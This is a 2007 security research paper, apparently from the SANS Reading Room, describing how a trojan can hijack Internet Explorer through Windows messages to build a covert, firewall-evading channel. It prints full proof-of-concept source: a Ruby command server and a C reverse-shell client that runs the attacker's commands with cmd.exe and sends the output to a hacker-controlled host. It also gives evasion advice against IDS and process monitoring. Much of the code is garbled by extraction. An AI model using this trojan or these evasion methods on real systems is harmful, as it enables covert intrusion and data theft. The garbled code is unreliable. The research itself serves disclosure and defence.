Covert communications: subverting Windows applications

D. Climenti, A. Fontes, A. Menghrajani
Covert communications: subverting Windows applications

D. Climenti, A. Fontes, A. Menghrajani

ilon Security Research Lab

September 10, 2007

Abstract

This article describes an approach to covert channel communications in the Microsoft Windows environment, which is applicable to all versions of Windows. The goal of this approach is to bypass network firewalls, as well as personal firewalls. We achieve this by using Windows messaging to hijack and control applications that have network access; accordingly such applications are not blocked at the application level.

The cover channel is performed by a user process (trojan) that hijacks another user process (e.g. a browser or email client).

Our work is related to the Leaktest project, which analyses possible flaws in personal firewalls. However, we show how to create a concealed bidirectional channel.

The presented method is difficult to prevent, as Windows does not give processes information about the source of window messages.

Source code to a proof of concept trojan is provided under GPL.

1 Introduction

1.1 The corporate context

Corporate networks usually always have a “trusted” internal network. Computers connected to this network are installed by the corporate IT team, hence considered as “trusted”. Such computers, connected to the internal network, usually have access to the most confidential data (e.g. intranet, database resources, etc.) while having limited network connectivity (e.g. only web and email access).

Various layers of firewalls (and other network security devices, such as proxies, IDS, etc.) protect these computers against intrusion and data theft from remote Internet machines.

1.2 Trojan and covert channels

Figure 1: Simple covert channel.

The notion of covert channel was first introduced by Lampson[1]. “A covert channel is a parasitic communication channel that draws bandwidth from another channel in order to transmit information without the authorization or knowledge of the latter channel’s designer, owner or operator”\(^1\). Since Lampson’s first publication and the increased

\(^1\)http://en.wikipedia.org/wiki/Covert_channel
use of the Internet, security researchers have discovered a large number of ways to communicate using covert channels. Typical examples include ICMP covert channel[2], DNS covert channel[3], etc. (Fig 1).

Covert channels are generally difficult to detect at the network layer because legitimate data is mixed with covert messages (e.g. an ICMP ping packet can be generated for legitimate purposes, or can be used to transport hidden messages).

Covert channels can be effectively exploited by trojan horses. A trojan horse is an apparently harmless program or document, containing hidden functions or macros.

Covert channels combined with Trojan horses, can therefore be used to spy on a user’s machine and steal confidential information. They represent a severe security threat to corporate networks.

### 1.3 Application firewalls

Given the difficulties to detect covert channels at the network layer, a common scheme is to rely on client application firewalls (also known as personal firewalls). Application firewalls are deployed on each computer and restrict network access on a per process basis (Fig 2). In such a case, the ping utility could be allowed to send ICMP packets and the browser could be allowed to connect to the Web, while all other applications are denied network access.

A trojan horse can try to defeat a personal firewall by killing it, modifying its configuration files or hijacking legitimate processes[4]. The latter case will be the focus of this publication.

![Figure 2: Firewall blocking covert channel based on source process.](image)

### 1.4 Motivation

A trojan that generates illegal traffic patterns or that tries to access forbidden resources is quickly noticed by security and incident response teams. The goal of this paper is to present a method that conceals a trojan to the maximum extend. The method needs to bypass application firewalls, as well as network firewall, IDS, proxies, etc.

This paper does not deal with the problem of importing and running the trojan. We assume that the user runs the trojan (e.g. in the context of social engineering) and that the user has limited rights (i.e. the user does not have administrator privileges).

### 1.5 Code

As mentioned above, this publication presents a method to hijack applications on the Microsoft Windows operating system. The approach described is based on Windows messages, and is therefore applicable to all versions of Windows2 (with minor changes to the code).

Proof of concept code to hijack Internet Explorer 7.0 running on Windows XP is provided. The code is licensed under the GPL.

---

2For a discussion about Windows Vista, see 3.6.
2 Fun with messaging

2.1 Windows Messages

Messages are the most basic type of communication in Windows. Messages are used to signal events, caused by the user, the operating system or other applications. An event could be caused by the user hitting a key or moving the mouse.

Most applications have an event handling loop, which waits for new messages to arrive. When the message arrives, the application performs the desired action and then returns to the event loop.

Any application can send messages to any other application. When the event loop receives the message, there is no possibility to know the origin of this message. It is therefore impossible to tell if the key stroke was generated by the user or if an other application is simulating key strokes.

Windows messages therefore offer a good opportunity to hijack applications. Volker [5] [6] already demonstrated the threat associated with Windows messages being sent between applications (Breakout). This paper shows how to further use Windows messages to create a covert bidirectional channel.

2.2 Subverting Internet Explorer

Internet Explorer (IE) has been chosen as an example application for the following reasons:

- Application firewalls are usually configured to allow iexplore.exe (Internet Explorer’s process) to access the Web.
- When a user opens a new window (Ctrl-N), IE creates a new thread instead of a new process. This means, the process list is not altered.
- It is easy to communicate in a bidirectional fashion. Other applications might require image processing or use of COM interfaces.
- Connection settings (such as proxy settings) are directly handled.
- IE runs as a user process. It can therefore also be hijacked on Windows Vista (see 3.6).

It is important to understand that the hijacking technique exposed here can be applied to any other browser or application which communicates with an external network.

To hijack IE and use it as a covert channel, the following 5 steps are performed:

1. Find a suitable iexplore.exe instance.
2. Create a new window and hide it.
3. Outbound channel: send data to the hacker.
4. Inbound channel: receive commands.
5. Processing unit: react to the received commands and return to step 3.

To demonstrate how IE is subverted, we implemented a proof of concept trojan. The trojan consists in a remote shell that connects to a web server, and waits for commands to be received. The shell then receives the commands and returns the output to the server. The trojan thereafter returns to a state, where it awaits new commands. The trojan code is fully available (see appendix A.2).

2.2.1 Finding an existing IE

The first step is to find a suitable iexplore.exe instance. We consider the process suitable if the following conditions are satisfied:

\[
\text{The process should be running.} \quad (1)
\]
\[
\text{The process should have network access.} \quad (2)
\]

The first condition is necessary in order to prevent warnings, which could appear if IE is launched manually. It also prevents changes to the process list, which can arouse suspicion. The second condition is required to avoid popping up a dial-up box or raising warnings in case IE is not allowed to access the internet.

In Windows, each window has an associated class (a string that identifies the window). IE windows have the class string IEFrame (IE 5.0 to IE 7.0). All top level windows which have the right class can be listed using EnumWindows(). The class is checked by calling RealGetWindowClass().

In this section, we assume that the second condition is fulfilled. Section 3.1 then presents an empiric approach for validating the second condition.
### 2.2.2 Creating a new window

Once a specific IE process or window has been found, a new window can be created by sending the WM\_COMMAND, with parameter 275 to one of the windows which belong to the process (Table 1). The new window will need to be hidden; this can be achieved with ShowWindow().

**Notes:**

- The ShowWindow() needs to be called after the window has been fully created. This means the newly created window will blink for a fraction of a second. It is, however, unlikely that the user will notice anything odd.

- The parameter 275 to WM\_COMMAND, that creates a new window, is not officially documented by Microsoft. It is possible to find this number using tools such as Winspector\(^3\). However, this parameter might change in the future.

### 2.2.3 The outbound channel

The outbound channel is used to send data to the hacker’s server. The hacker needs to install a special webserver, which will interact with the browser. The outbound channel is created by setting the browser’s URL to the hacker’s server and by simulating an enter key. The URL is set by sending a WM\_SETTEXT to the control (Edit class). The enter key is simulated by sending a WM\_KEYDOWN and WM\_KEYUP events to the same control. This causes IE to get the URL from the web server, transmitting the GET parameters at the same time.

Modern browsers support page caching. Intermediate proxies can also cache data. This is obviously undesirable and there are multiple ways to avoid having the data cached: the server can send http headers that will prevent caching, or use html meta tags. We decided to simply add a parameter, z, which is incremented at each query.

It is possible to use an encrypted https channel. The server will need to present a trusted certificate, or the trojan will need to handle the warning popup box which is displayed upon connection to untrusted servers.

The proof of concept trojan needs to use two types of queries: a query to notify the server that the trojan is waiting for commands and another query to return the command results. The r parameter is used to indicate if the trojan is ready (r=1) or if it is transmitting data (r=0&d=\textit{data}):

- http://hacker\_ip/?z=1&r=1
- http://hacker\_ip/?z=2&r=0&d=\textit{data}

### 2.2.4 The inbound channel

Although messages let the trojan simulate user actions, they do not always let the trojan read information from the user interface. Some objects (such as Edit controls) can be queried using WM\_GETTEXT. Other objects, such as IE, can be manipulated using a COM interface. It is possible that some firewalls detect the instantiation of COM interfaces\(^4\).

Other techniques to access the content of an application window include DDE, image processing of the window capture, sending Ctrl-A followed by Ctrl-C to get the content in the clipboard, etc.

The proposed method for the inbound channel is to use the \textit{<TITLE>} tag in the return html page. The content of this tag is used to set the IE window title. The window title can be retrieved with

\(^3\)http://www.windows-spy.com/

\(^4\)This is something that is not tested in Leaktest.
the GetWindowText() function (Figure 4). This method is elegant, because it is simple to implement and only depends on a single Windows API function.

In order to detect when the page has finished loading, the title tag contains the z value that was passed in the outbound request. As soon as the same z value is displayed in the title, the trojan knows that the request has completed successfully and data was returned.

2.2.5 Handling commands

The proof of concept trojan reads the commands sent from the hacker’s server and executes them using CreateProcess(). If the server does not have any commands, a “nop” is sent to the trojan, which waits for a certain time. The trojan then polls the server for the next command.

Each line of the command output is sent as a GET request (with r=0). Once the command completes, r=1 requests are sent until a new command appears.

Note: the trojan is running as a user process, with limited rights. The commands that can be run are therefore those which the user himself can launch. This is, however, enough to spy on the user’s activity or to steal files.

2.2.6 Channel capacity

Under the current circumstances, the channel capacity is not an issue. A spy trojan does not need to (and should not) generate a lot of traffic. For completeness, the channel capacity is analyzed. We assume the hacker is using an ip address or domain name which consists of 15 characters (e.g. 101.102.103.104 or www.hack123.com) and that z is in the 1000-9999 range.

- The outbound channel is limited by the total URL size (2083 bytes). We use 37 bytes for the server URL and the various parameters. This leaves 2046 bytes of useful capacity.

- The inbound channel is limited by the maximum window title size (80 bytes). 5 bytes are used for the z parameter, which leaves 75 bytes of useful capacity.

Each outbound request generates about 372 bytes of http headers:

```
GET /?z=1234&r=0&d=data HTTP/1.0
Accept: image/gif, image/x-xbitmap, ...
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; ...
Host: 101.102.103.104
Connection: Keep-Alive
```

This request is then encapsulated in TCP/IP, which adds another 40 bytes of overhead. The total overhead is therefore 412 bytes per 2046 bytes.

The inbound channel contains a minimal html page (85 bytes):

```
HTTP/1.0 200 OK
Content-type: text/html
<html>
<head>
<title>data</title>
</head>
</html>
```

The TCP/IP overhead (40 bytes) also exists on the inbound channel. The total overhead is 125 bytes per 75 bytes.

The trojan can thus reach an upload efficiency of 83%, and a download efficiency of 38%.

Note: this relatively poor download speed does not impact the usefulness of the covert channel. In practice, the usage pattern is such that the trojan receives short commands (download channel) and returns large amount of data (upload channel).

3 Staying under the radar

This section presents ideas that could be implemented to make sure that the user or the firewall do not detect the covert channel. These ideas have not been implemented in the proof of concept code.

3.1 Ensuring network access

The 2nd condition described in § 2.2.1 required that IE has network access. This can be achieved by looking at the current window title and comparing it with the titles generated by popular sites that are unlikely to be intranet sites. The trojan
will need to wait for the user to visit one of these sites. This approach is empiric; the list of popular websites needs to be established based on the target user’s habits. The titles generated by these sites can vary. Overall it is a tradeoff between risking a connection before the user visits any website and never detecting when the user is connected.

3.2 Handling Toolbars

Toolbars, such as Google or Yahoo toolbars, can make it harder to locate the right edit box. A possible solution is to sequentially test each available edit box, and detect which one generates a title that matches the format of what the hacker’s site returns.

3.3 Avoiding CreateProcess()

Some firewalls can detect when a process creates other processes with the CreateProcess() call. It is possible to remove the CreateProcess() call by reimplementing the desired commands, typically information gathering (set), folder browsing (dir) or file display (type).

3.4 Keeping the process list clean

Two IE windows can be running either as two independent processes, or as two threads of a single process. This depends on whether the second window was launched from the first one (Ctrl-N), or from the explorer (i.e. IE shortcut). The proof of concept trojan waits for an IE window to appear and launches an IE that uses a new thread. This avoids having an extra IE entry in the process list (although further investigation can reveal the thread).

In order to keep the process list clean at all times, the window used by the trojan should be closed when the user closes the other IE windows that belong to the same process. This can be achieved by continuously watching the top level IE windows on the user’s desktop.

3.5 Avoiding IDS

Various methods can be implemented to avoid detection by IDS systems. In some cases, these methods have to be combined:

- Artificially build a complex html page, which would contain a body and links. The goal is to simulate a normal user’s browsing behavior (users normally don’t keep reloading the same page, they follow links at irregular time intervals). Implementing such a system will further impact the inbound channel.
- Use SSL to encrypt the traffic, and hope the IDS cannot see the traffic.
- Encrypt using custom code (e.g. symmetric encryption).

3.6 Windows Vista

Windows Vista implements something called User Interface Privilege Isolation (UIPI), which is meant to prevent this type of attack. The Leaktest website states that Breakout “did not run/was hanging”. The tests we performed on Windows Vista seem to indicate the opposite: the proof of concept trojan works even with UIPI.

The reason for this is probably that UIPI is meant to protect higher privilege processes and does not deal with the interaction of two processes of the same level of privilege. In the case of IE, a user process (the trojan) is hijacking another user process (IE) in order to bypass firewalls.

4 Conclusion

This publication presents a clean and stealth way to create covert channels that defeat a wide range of application firewalls (see appendix A.1) by using trusted applications (such as Internet Explorer). The covert channel is created by a user process (trojan), that hijacks another user process.

However, the risk related to this attack method is high, since it targets the internal network, where sensitive data is accessible. So far Windows Vista does not yet solve the problems presented here, although some people might believe this to be the case.

Although we do not discuss ways to mitigate against such covert channels, we are convinced that the most reliable way is to prevent the import or creation of malicious code inside the trusted network. This is not always an easy task, since for example window messages can be created by macros.
or scripts embedded in legitimate looking documents.

There are also many other interesting ways that could lead to bypassing firewalls. We are working on various similar projects, which can help network administrators to better understand and prevent the risks associated to covert channels.

References


### Appendix

#### A.1 Leaktest results for Breakout

<table>
<thead>
<tr>
<th>Firewall</th>
<th>March 2006</th>
<th>July 2007</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ashampoo</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>AVG</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Avira</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>BitDefender</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>BlackICE</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Blink</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>CA</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Comodo</td>
<td>x</td>
<td>√</td>
</tr>
<tr>
<td>Desktop Firewall</td>
<td></td>
<td></td>
</tr>
<tr>
<td>DSA</td>
<td></td>
<td>√</td>
</tr>
<tr>
<td>F-secure</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Fileseclab</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>GSS</td>
<td></td>
<td>x</td>
</tr>
<tr>
<td>Jetico v1/v2</td>
<td>×/×</td>
<td>×/×</td>
</tr>
<tr>
<td>Kaspersky</td>
<td></td>
<td>√</td>
</tr>
<tr>
<td>KIS6</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Lavasoft</td>
<td></td>
<td>√</td>
</tr>
<tr>
<td>Look’n’Stop</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>McAfee</td>
<td></td>
<td>x</td>
</tr>
<tr>
<td>NetOp</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Netveda</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Norman</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Norton</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>Online Armor</td>
<td></td>
<td>x</td>
</tr>
<tr>
<td>Outpost Free/PRO</td>
<td>×/</td>
<td>×/√</td>
</tr>
<tr>
<td>Panda</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>PC Tools</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>PC-ciliin</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Personal Firewall Plus</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>PrivateFirewall</td>
<td></td>
<td>Generic block</td>
</tr>
<tr>
<td>ProSecurity</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Safety.Net</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>SensiveGuard</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Sunbelt Kerio</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>Sygate</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>SSM</td>
<td></td>
<td>x</td>
</tr>
<tr>
<td>Windows Firewall (SP2)</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>Zone Alarm Free/Pro</td>
<td>×/√</td>
<td>×/√</td>
</tr>
</tbody>
</table>

x=fails test, √=passes test.

Empty entry means data not available.

---

A.2 Proof of concept trojan

A.2.1 Server

```ruby
#!/usr/bin/ruby
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation; either version 2 of the License, or (at your option) any later
# version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# Programmed by Alok Menghrajani and Dominique Climenti
#
# Jun 2007 (c) ilion Security S.A.
#
# This is the server code (which runs on linux) for the proof of concept trojan
# related to the publication: Covert communications: subverting Windows applications.
# This code is only useful if used with the client code (Windows code).
#
# This code has been tested with kernel 2.6.21 (standard gentoo installation), but
# should run on any linux system.
# For more information please refer to the publication.
#
# Compiling & using:
# on the server:
#   ruby server.rb [port number]
#
# on the client:
#   compile code with Microsoft Visual Studio
#   ./client http://server_ip:port_number/
#
require "socket"

# Get the port from command line, default is 80
port = $#[0]
if port=nil
  port = 80
end

# Setup the server
dts = TCPServer.new(port)
puts("server started (port="+port.to_s+)"

prompt = 0
loop do
  Thread.start(dts.accept) { |s|
    # get the http header
    l = s.readline
    # read value of ready= parameter
    ready = 0
    if l="/ready=([^\s]*)"/
      ready = $1.to_i
    end
    # read value of z
```

z = 0
if l =~ /z=(.*)(&\|s|\$)/
    z = $1
end

# read value of data
data = ""
if l =~ /data=(.*)(&\|s|\$)/
data = $1
end

if ready==1 then
    # handle prompt stuff
    if prompt == 0
        print("# ")
        STDOUT.flush
        prompt = 1
    end

    # try to read data if available
    cmd = "nop"
    if select([$stdin], nil, nil, 1)!=nil then
        cmd = gets
        prompt = 1
    end
elsif ready==0 then
    prompt = 0

    # convert %20 to space, etc.
data.gsub!(/%\(d\)/){|x| $1.hex.chr}
puts data
    cmd = "reading...
end

# return an empty page and close connection
s.puts("HTTP/1.0 200 OK\r\nContent-type: text/html\r\nConnection: close\r\n\r
<title> + z + " " + cmd + "</title></head></body></html>\r\n")
s.close
}
}

A.3 Client

/*
 This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free Software
Foundation; either version 2 of the License, or (at your option) any later
version.

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

Programmed by Alok Menghrajani and Dominique Climenti
Jun 2007 (c) ilion Security S.A.

This is the client code (which runs on Windows) for the proof of concept trojan
related to the publication: Covert communications: subverting Windows applications.
This code is only useful if used with the server code (linux code).
*/
This code has been tested with IE 7.0 on Windows XP (english).

The idea is to hijack Internet Explorer using only Windows events and Win32 API functions. For more information please refer to the publication.

Compiling & using:

on the server:
  ruby server.rb [port number]

on the client:
  compile code with Microsoft Visual Studio
  ./client http://server.ip:port.number/

*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <string.h>
#include <time.h>
#define DEBUG

typedef struct _hwnd_ll {
    HWND hwnd;
    struct _hwnd_ll *next;
} hwnd_ll;

int iexplore_pid;
int z;
HWND iexplore hwnd;
HWND child hwnd;
HWND new hwnd;
hwnd_ll *iexplore ll;

void find iexplore();
void create hidden window();
void process commands();
void send command(char *input, char *output, int n);
void do cmd(char *cmd);
int read line(HANDLE file, char *buf, int n);

BOOL CALLBACK ch_find hwnd pid(HWND hwnd, LPARAM lParam);
BOOL CALLBACK ch_find hwnd class(HWND hwnd, LPARAM lParam);
BOOL CALLBACK ch_find new window(HWND hwnd, LPARAM lParam);

char *server;

int main(int argc, char **argv) {
    if ((argc!=2) || (strcmp(argv[1], "http", 4)!=0)) {
        printf("Usage: %s http://server_url/\n", argv[0]);
        exit(EXIT_FAILURE);
    }
    server = argv[1];

    #ifndef DEBUG
    printf("www\reverse\shell started\n");
    #endif

    srand((int)time(NULL));

```c
80  z = rand();
81  iexplore_ll = NULL;
82
83  /* Wait for user to launch IE */
84  find_iexplore();
85
86  /* Avoid race condition in case IE was just launched. */
87  Sleep(1000);
88  create_hidden_window();
89
90  /* Now access the reverse shell */
91  process_commands();
92  }
93
94  /* Search for iexplore.exe process and fill the iexplore_ll list */
95  void find_iexplore() {
96    hwnd_ll *e;
97
98    /* Let's find an IFrame window */
99    iexplore_hwnd = NULL;
100   while (iexplore_hwnd == NULL) {
101       iexplore_hwnd = FindWindow("IEFrame", NULL);
102       Sleep(1000);
103      }
104      #ifdef DEBUG
105        printf("waiting....\n");
106      #endif
107  }
108
109  /* Find_pid */
110  GetWindowThreadProcessId(iexplore_hwnd, &iexplore_pid);
111
112  /* Let's free find hwnd_pid ll */
113  e = iexplore_ll;
114  while (e!=NULL) {
115    hwnd_ll *n = e->next;
116    free(e);
117    e = n;
118  }
119
120  iexplore_ll = NULL;
121  EnumWindows(cb_find_hwnd_pid, (LPARAM)iexplore_pid);
122
123  /* Debug stuff */
124  #ifdef DEBUG
125    printf("Pid: %d\n", iexplore_pid);
126    e = iexplore_ll;
127    while (e!=NULL) {
128        printf("HWND: %p\n", e->hwnd);
129        e=e->next;
130    }
131  #endif
132  }
133
134  /* Creates a new IE window by sending a WM_COMMAND message.
135   This function then hides the window (WM_HIDE).
136   Hopefully the victim won't notice anything flash... */
137  void create_hidden_window() {
138    EnumChildWindows(iexplore_hwnd, cb_find_hwnd_class,
139                      (LPARAM)"InternetToolbarHost”);
140    SendMessage(child_hwnd, WM_COMMAND, 275, 0);
```

142  /* Find the new window */
143  new hwnd = NULL;
144  while (new hwnd == NULL) {
145     EnumWindows(chipfindnew_window, (LPARAM)explore.pid);
146  }
147
148  #ifndef DEBUG
149  while (ShowWindow(new hwnd, SW_HIDE)==0) {
150      Sleep(1);
151  }
152  #endif
153  Sleep(1000);
154 }
155
156  /* Access http://192.168.1.133/?ready=1 until a commands appears in the title. */
157  void process_commands() {
158     char input[255];
159
160     EnumChildWindows(new hwnd, cbfindhwnd_class, (LPARAM)"Edit");
161
162     // printf("DEBUG: calling send_command(NULL, NULL)\n");
163     send_command(NULL, NULL, 0);
164     // printf("DEBUG: returned\n");
165
166     while(1) {
167     // printf("DEBUG: calling send_command(NULL, input)\n");
168     send_command(NULL, input, size of(input));
169     // printf("DEBUG: returned: %s\n", input);
170
171     #ifndef DEBUG
172     printf("Received: %s\n", input);
173     #endif
174     if (strcmp("nop ", input)!=0) {
175         /* Process command */
176         do_cmd(input);
177     }
178     Sleep(1000);
179     }
180 }
181
182  /* execute given argument in a DOS shell (cmd.exe). The output of the
183  shell is sent using send_command
184  */
185  void do_cmd(char *cmd) {
186      STARTUPINFO si;
187      PROCESS_INFORMATION pi;
188      HANDLE rPipe, wPipe;
189      SECURITY_ATTRIBUTES sa;
190      char output[255];
191      char buf[255];
192
193      /* Setup SI */
194      memset(&si, 0, size of(si));
195      si.nLength = size of(si);
196      si.bInheritHandle = TRUE;
197
198      /* Create pipe */
199     CreatePipe(&rPipe, &wPipe, &sa, 0);
200
201      /* Setup SI */
202     memset(&si, 0, size of(si));
```c
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdOutput = wPipe;
si.hStdError = wPipe;

/* Setup PI */
memset(&pi, 0, sizeof(pi));

/* Create process */
sprintf(buf, "cmd.exe /C %s", cmd);
CreateProcess(NULL, buf, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
CloseHandle(wPipe);

/* Read output */
while (read_line(rPipe, output, sizeof(output))) {
    // printf("DEBUG: calling send_command(%s, NULL)\n", output);
    send_command(output, NULL, 0);
    #ifdef DEBUG
    printf("Sending: %s\n", output);
    #endif
    // printf("DEBUG: returned\n");
    CloseHandle(rPipe);
}

int read_line(HANDLE file, char *buf, int n) {
    int i, more, j;
    more=1;
    i=0;
    while (((i<n-1)) && more) {
        more = ReadFile(file, buf+i, 1, &j, 0);
        if (((more) && (buf[i]==\n\n')) {
            break;
        }
        if (more) {
            i++;
        }
    }
    buf[i]=0;
    return i;
}

void send_command(char *out, char* in, int n) {
    char buf1[255];
    char buf2[255];
    if ((out == NULL) && (in == NULL)) {
        sprintf(buf1, "about:blank");
        Sleep(1000);
        return;
    } else if (out == NULL) {
        sprintf(buf1, "%s?ready=1&z=\%d", server, z);
    } else {
        sprintf(buf1, "%s?ready=0&data=\%s&z=\%d", server, out, z);
    }
    SendMessage(child_hwnd, WM_SETTEXT, 0, (LPARAM)buf1);
    SendMessage(child_hwnd, WM_KEYDOWN, 0x0D, 0);
    SendMessage(child_hwnd, WM_KEYUP, 0x0D, 0);
    while (1) {
        GetWindowText(new_hwnd, buf2, sizeof(buf2));
        if (atoi(buf2)==z) {
            break;
        }
    }
```

266 } 
267 Sleep(1); //SendMessage(child hwnd, WM_KEYDOWN, 0x0D, 0); //SendMessage(child hwnd, WM_KEYUP, 0x0D, 0); 
270 } 
271 z++; 
272 
273 if (in!=NULL) { /* Title looks like this: 
274 123 cmd - Windows Internet Explorer 
275 We therefore need to get rid of z and the " - ... " stuff */ 
276 char *t = strchr(buf2, ' '); 
277 if (t!=NULL) { 
278 strcpy(in, t+1); 
279 
280 t = strstr(in, "- "); 
281 if (t!=NULL) { 
282 *t = 0; 
283 } else { 
284 strcpy(in, "nop "); 
285 } 
286 } 
287 /* lParam is an int (pid) */ 
288 BOOL CALLBACK cb_find_new_window(HWND hwnd,LPARAM lParam) { 
289 int pid; 
290 char buf[255]; 
291 
292 /* Check class */ 
293 RealGetWindowClass(hwnd, buf, sizeof(buf)); 
294 if (strcmp(buf, "IEFrame")==0) { 
295 /* Check that window doesn't exist in ll */ 
296 hwnd ll *e = iexplore_ll; 
297 while (e!=NULL) { 
298 if (e->hwnd == hwnd) { 
299 return TRUE; 
300 } 
301 e=e->next; 
302 } 
303 
304 #ifdef DEBUG 
305 printf("New window: %p\n", hwnd); 
306 #endif 
307 new hwnd = hwnd; 
308 return FALSE; 
309 
310 } 
311 return TRUE; 
312 } 
313 
314 /* lParam is a char (class) 
315 return value is in child hwnd */ 
316 BOOL CALLBACK cb_find_hwnd_class(HWND hwnd,LPARAM lParam) {

© SANS Institute 2007,
As part of the Information Security Reading Room Author retains full rights.
328 char buf[255];
329 /* Check class */
330 RealGetWindowClass(hwnd, buf, sizeof(buf));
331 if (strcmp(buf, (char*)lParam)==0) {
332     child hwnd = hwnd;
333     return FALSE;
334 }
335 return TRUE;
336 }
337 }
338 /* lParam is an int (pid) */
339 BOOL CALLBACK cb hwnd pid(HWND hwnd, LPARAM lParam) {
340     int pid;
341     char buf[255];
342     /* Check class */
343     RealGetWindowClass(hwnd, buf, sizeof(buf));
344     if (strcmp(buf, "IEFrame")==0) {
345     /* Check pid */
346         GetWindowThreadProcessId(hwnd, &pid);
347         if (pid == (int)lParam) {
348             hwnd ll *e = (hwnd ll*)malloc(sizeof(hwnd ll));
349             e->hwnd = hwnd;
350             e->next = iexplore ll;
351             iexplore ll = e;
352         }
353     }
354 return TRUE;
355 }
<table>
<thead>
<tr>
<th>Event Name</th>
<th>Location</th>
<th>Dates</th>
<th>Event Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS St. Louis 2020</td>
<td>St. Louis, MOUS</td>
<td>Mar 08, 2020 - Mar 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Dallas 2020</td>
<td>Dallas, TXUS</td>
<td>Mar 09, 2020 - Mar 14, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Prague March 2020</td>
<td>Prague, CZ</td>
<td>Mar 09, 2020 - Mar 14, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Wild West Hackin Fest 2020</td>
<td>San Diego, CAUS</td>
<td>Mar 10, 2020 - Mar 11, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Doha March 2020</td>
<td>Doha, QA</td>
<td>Mar 14, 2020 - Mar 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Norfolk 2020</td>
<td>Norfolk, VAUS</td>
<td>Mar 16, 2020 - Mar 21, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Kuwait March 2020</td>
<td>Salmiya, KW</td>
<td>Mar 21, 2020 - Mar 26, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS 2020</td>
<td>Orlando, FLUS</td>
<td>Apr 03, 2020 - Apr 10, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Muscat April 2020</td>
<td>Muscat, OM</td>
<td>Apr 04, 2020 - Apr 09, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Riyadh April 2020</td>
<td>Riyadh, SA</td>
<td>Apr 04, 2020 - Apr 09, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Minneapolis 2020</td>
<td>Minneapolis, MNUS</td>
<td>Apr 14, 2020 - Apr 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Bethesda 2020</td>
<td>Bethesda, MDUS</td>
<td>Apr 14, 2020 - Apr 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Boston Spring 2020</td>
<td>Boston, MAUS</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Brussels April 2020</td>
<td>Brussels, BE</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Pen Test Austin 2020</td>
<td>Austin, TXUS</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS SEC440 Copenhagen April 2020</td>
<td>Copenhagen, DK</td>
<td>Apr 27, 2020 - Apr 28, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Baltimore Spring 2020</td>
<td>Baltimore, MDUS</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Jeddah March 2020</td>
<td>OnlineSA</td>
<td>Mar 07, 2020 - Mar 12, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS OnDemand</td>
<td>Books &amp; MP3s OnlyUS</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
</tbody>
</table>